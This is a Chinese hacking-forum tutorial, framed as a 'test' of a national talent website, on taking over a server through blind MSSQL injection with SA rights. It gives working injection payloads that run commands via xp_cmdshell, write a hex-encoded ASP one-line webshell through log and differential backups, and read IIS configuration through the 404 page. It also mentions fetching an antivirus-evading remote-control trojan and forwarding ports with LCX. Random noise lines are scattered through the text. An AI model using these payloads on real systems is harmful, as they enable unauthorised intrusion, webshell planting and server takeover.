sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

3 s) U" ]( t/ \8 X* h
                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

                                                                 
                                                                 
                                                                  论坛： http://www.90team.net/



7 t: [4 H; l! b+ S7 q友情检测国家人才网
/ c' ~$ B% B5 V  r$ C" I8 {
, [2 m+ `2 T* Q8 }' j- l) o$ L; t
5 u( `% A( z) m内容：MSSQL注入SA权限不显错模式下的入侵
3 E) o, n6 t, o- ~; ]4 Z
  g. }1 d7 O& P" l8 C
* O+ T7 \6 L7 r0 h8 K( o/ Y一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
# P- i( d4 X5 |5 o) o
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

- ~- t. e% e2 u! b
' i6 Z: w6 _7 }8 z5 E: ^' N. v这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：
& j" }/ r+ @. _$ @) I4 Q; S4 a* f0 Z+ v
首先：
7 [% K; ^8 i, B; w* t0 T
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell

+ [4 o& z6 ?- @* T' z2.数据库差异备份获得Webshell
) w" g8 r8 H# w+ q! P6 t0 A' h
3 [5 ~! x/ `& q5 ?* G) o$ V* y4.直接下载免杀远控木马。
* f: o) S( M/ F1 d7 }! v7 P
; k7 s0 X; `) i( T/ C. @5.直接下载LCX将服务器端口转发出来
* E0 E3 N5 n  [$ P/ u! R* I
6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
3 K3 O# L0 B8 |8 a+ {5 ]: g1 Z

6 @- Z. m8 q$ [& q, ]
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法
/ m4 U1 [! S2 O9 J

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
5 n: ?# q* H3 O* J2 M5 {+ _
) m8 y% [* O7 M& i; H" O) \
" V  @* V; u+ ?
, M' C4 V8 L+ {4 z. n6 u. g
◆日志备份：
+ M' e: O4 Q' m4 n* Z+ t

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

+ B" g2 G$ B+ m) b6 v( A2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
2 c7 K3 F* e' l6 w/ R7 ]
& g7 D" x. y9 C0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件，删除临时表
, f! x/ Q+ L- ~- c;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
' M2 B7 i$ h  |8 e3 l" }0 L


  w" }0 q4 s$ H8 u4 a4 ]4 E. w' d◆数据库差异备份
& C0 g7 u! W) O- q
. [! k6 E- w; c1 H5 f（1. 进行差异备份准备工作
. s8 P" t( A) q6 s0 g* C
7 t* p1 ^2 N4 }6 ]# s$ a* ]  x5 W0 |8 Z;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
4 I1 P! F3 V* G- z% d* v
/ e' x0 c7 h5 G/ v上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


（2. 将数据写入到数据库
! g( q  o& @" @2 G2 E4 {7 Z;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

, Y1 S! C  A& y3. 备份数据库并清理临时文件
3 Y5 W. R+ y3 K+ u1 \/ b- u9 T
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
( D# n; [/ x1 k) q% D6 f0 ?
( G2 [* Y9 n; N- v3 s. H+ y8 N$ j0x633A5C746573742E617370  为 c:\test.asp  删除临时文件



用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

! I" C4 F& ]2 n& t0 ?% T2 u2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径

; S" Z: w" r& @$ ?3 ^     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
; [1 E" L, x3 f" a- B
" X0 i8 W8 R7 A6 O执行命令
  \0 k: V/ E9 M$ j: w6 h" q     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
7 _9 g0 I  w2 _8 X" u: \) ?
1 q& `2 X+ c% ]& a
7 ^8 g/ H0 F1 p$ N* w- V  j4 i
9 U/ n  B8 |$ v# N6 }

( `- S& k% L% s2 G" M; ~
2 Y4 ^/ r! f& \0 T7 e( c



) j, G( k: D* Z

- a" Y6 s4 H" N0 v$ W6 |& d* V' u
' n5 q2 I* o. s: L
/ O2 @+ `  L2 _. L2 s0 L
5 y2 W6 d% w3 r( n: z/ A


+ f! }# E2 }/ F8 a5 H1 m' g+ n




9 x1 c0 a) F3 ~' E4 @
1 M+ J: G7 r9 n( a4 w% P, D/ s



" D+ q+ T/ K  P- g
2 s8 G% G3 j* ]0 l
, B1 B8 ]0 P7 f4 B6 y. e



0 T$ }5 G& b9 f; _6 J3 j


% h" i% U/ ~% Q$ y: X& d
! e$ ]; m# V! g. b
* k2 {0 N; [' S; G






' P6 K6 U8 M: w. A, G

* ]/ {. ]" g# T: ^